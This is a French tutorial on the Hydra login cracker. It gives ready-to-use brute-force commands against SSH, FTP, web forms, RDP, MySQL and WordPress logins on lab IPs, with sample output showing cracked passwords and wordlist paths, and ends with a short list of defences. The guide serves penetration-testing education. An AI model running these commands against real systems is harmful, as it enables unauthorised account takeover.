Hydra : Craquage de Mots de Passe Multi-Protocoles

Hydra : Le Craqueur Multi-Protocoles

Hydra est un craqueur de connexions parallélisé supportant plus de 50 protocoles.

Installation

# Kali Linux (pré-installé)
hydra -h

# Ubuntu/Debian
sudo apt install hydra

# Vérifier version
hydra -V

Protocoles Supportés

HTTP/HTTPS (GET, POST, Forms)
FTP, FTPS
SSH, Telnet
SMB, SMTP, POP3, IMAP
RDP, VNC
MySQL, PostgreSQL, MSSQL
Et 40+ autres...

Syntaxe de Base

hydra [options] [cible] [protocole]

Options Courantes

-l LOGIN        # Nom d'utilisateur unique
-L FILE         # Liste de noms d'utilisateur
-p PASS         # Mot de passe unique
-P FILE         # Liste de mots de passe
-t TASKS        # Connexions parallèles (défaut 16)
-f              # Arrêter après premier succès
-v/-V           # Mode verbeux
-o FILE         # Sauvegarder les résultats

Brute-Force SSH

# Utilisateur unique, liste de mots de passe
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10

# Résultat typique
Hydra v9.5 starting...
[DATA] max 16 tasks per 1 server
[DATA] attacking ssh://192.168.1.10:22/
[22][ssh] host: 192.168.1.10   login: admin   password: password123
1 of 1 target successfully completed, 1 valid password found

# Liste d'utilisateurs, liste de mots de passe
hydra -L users.txt -P passwords.txt ssh://192.168.1.10

# Port personnalisé
hydra -l root -P passwords.txt ssh://192.168.1.10 -s 2222

# Plus rapide (plus de threads)
hydra -l admin -P passwords.txt ssh://192.168.1.10 -t 4

# Arrêt après premier trouvé
hydra -l admin -P passwords.txt ssh://192.168.1.10 -f

Brute-Force FTP

# Attaque FTP basique
hydra -l admin -P passwords.txt ftp://192.168.1.10

# Vérifier FTP anonyme
hydra -l anonymous -p anonymous ftp://192.168.1.10

# Résultat
[21][ftp] host: 192.168.1.10   login: admin   password: admin123

Brute-Force HTTP

Formulaire POST

# Syntaxe
hydra -l admin -P passwords.txt cible.com http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

# Exemple réel
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials"

# Avec cookies
hydra -l admin -P passwords.txt cible.com http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect:H=Cookie: security=low; PHPSESSID=abc123"

Trouver les Paramètres

Avec Burp Suite :

1. Intercepter la requête de connexion
2. Noter les paramètres : username=admin&password=test
3. Noter le message d'échec : "Invalid credentials"
4. Construire la commande Hydra

Brute-Force RDP

# Remote Desktop Protocol
hydra -l administrator -P passwords.txt rdp://192.168.1.10

# Résultat
[3389][rdp] host: 192.168.1.10   login: administrator   password: P@ssw0rd

Brute-Force MySQL

# Base de données MySQL
hydra -l root -P passwords.txt mysql://192.168.1.10

# Résultat
[3306][mysql] host: 192.168.1.10   login: root   password: root123

Scénario : Attaque WordPress

# Étape 1 : Identifier la page de connexion
# Généralement /wp-login.php

# Étape 2 : Capturer la requête POST avec Burp
# Paramètres : log=admin&pwd=password

# Étape 3 : Noter le message d'échec
# "ERROR: Invalid username"

# Étape 4 : Attaquer
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.10 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=ERROR"

# Résultat
[80][http-post-form] host: 192.168.1.10   login: admin   password: admin123

Wordlists

# Petite (rapide)
/usr/share/wordlists/fasttrack.txt

# Moyenne
/usr/share/wordlists/metasploit/common_passwords.txt

# Grande (complète)
/usr/share/wordlists/rockyou.txt

# SecLists
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

Optimisation

# Augmenter threads (attention !)
hydra -l admin -P passwords.txt ssh://192.168.1.10 -t 64

# Réduire temps d'attente
hydra -l admin -P passwords.txt ssh://192.168.1.10 -w 10

# Combiner
hydra -l admin -P passwords.txt ssh://192.168.1.10 -t 32 -w 15

Mesures Défensives

Se protéger contre Hydra :

1. Politiques de verrouillage - Verrouiller après X tentatives
2. Limitation de débit - Limiter les tentatives par IP
3. Mots de passe forts - Imposer la complexité
4. Authentification multi-facteurs - Ajouter un second facteur
5. Whitelist IP - Restreindre l'accès par IP
6. Surveillance des logs - Alerter sur tentatives multiples
7. Fail2ban - Bannir automatiquement les IPs attaquantes

Conclusion

Hydra est puissant pour les attaques par mots de passe. Utilisez-le de manière responsable.